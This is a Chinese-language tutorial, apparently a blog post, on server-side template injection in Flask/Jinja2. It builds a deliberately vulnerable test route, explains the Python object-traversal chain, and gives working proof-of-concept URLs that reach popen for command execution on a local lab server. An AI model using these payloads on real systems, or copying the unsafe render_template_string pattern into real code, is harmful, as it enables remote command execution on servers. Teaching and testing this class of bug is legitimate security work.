flask ssti 模板注入

0x01:flask是基于python开发的一个轻量级web应用,可以用来搭建web环境。

安装flask框架命令:

pip install flask
0x02:漏洞环境代码分析:

render_template_string3.py(这里是我自己给测试文件的命名):

from flask import Flask,render_template_string, request

app=Flask(__name__)

<span>@app.route('/test')#CTL{n}def</span> test():
    code = request.args.get('id')
    html = '''
        <h3>%s</h3>
    '''%(code)
    return render_template_string(html)

if __name__ =='__main__':
    app.run()

没有接触过flask框架的小伙伴看到可能会有点懵,简单分析一下,运行这个py文件就会启动web服务,默认在本机的5000端口,<span>@app.route(‘/test’)?</span>??作用是找路由,这里是http://127.0.0.1:5000/test路径。code = request.args.get(‘id’)的意思是把get传参过来的id字段赋值给变量code。

最核心的地方就是rendet_template_string()函数,这个可以渲染前端输出,这里是把code的值在前端格式化输出了。

html = '''
        <h3>%s</h3>
    '''%(code)
    return render_template_string(html)
0x03:接下来需要了解一个知识点,flask使用的是jinja2的渲染方法,渲染的时候{{}}可以解析包含的内容。如:
from flask import Flask,render_template_string, request

app=Flask(__name__)

<span>@app.route('/aaaaa')#CTL{n}def</span> index():
    content = request.args.get("content")
    return render_template_string(content)


if __name__ =='__main__':
    app.run()

访问http://127.0.0.1:5000/aaaaa?content=1,页面会显示1

访问http://127.0.0.1:5000/aaaaa?content={{2*2}},页面会显示4

很明显,这里的传参被执行了,说明我们可以进行注入了。

0x04:实行文件读写和命令执行的基本操作:获取基本类->获取基本类的子类->在子类中找到关于命令执行和文件读写的模块

在python中,object类是Python中所有类的基类,如果定义一个类时没有指定继承哪个类,则默认继承object类。我们从这段话出发,假定你已经知道ssti漏洞了,但是完全没学过ssti代码怎么写,接下来你可能会学到一点废话。

"".__class__ 意思是空字符串的基类,是str
"".__class__.__mro__  mro给出了method resolution order,即解析方法调用的顺序,可以得到object类
"".__class__.__bases__[0].__subclasses__()  subclasses是返回该类的所有子类的集合
举个例子,我们想要命令执行,就需要找到os函数,Ctrl+F找到了,再__init__.__globals__,这里init初始化类,然后globals全局来查找所有的方法及变量及参数。

到这里poc为

http://127.0.0.1:5000/test?id={{%27%27.__class__.__mro__[1].__subclasses__()[134].__init__.__globals__}}

图片

此时我们可以在网页上看到各种各样的参数方法函数。我们找其中一个可利用的function popen,在python2中可找file读取文件,很多可利用方法,详情可百度了解下。

最终poc为:

http://127.0.0.1:5000/test?id={{%27%27.__class__.__mro__[1].__subclasses__()[134].__init__.__globals__[%27popen%27](%27dir%27).read()}}

图片

这里我们执行了dir命令,得到了回显。

 申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。

免费领取安全学习资料包!

渗透工具

技术文档、书籍

 

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

 

应急响应笔记

学习路线

  • 5
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值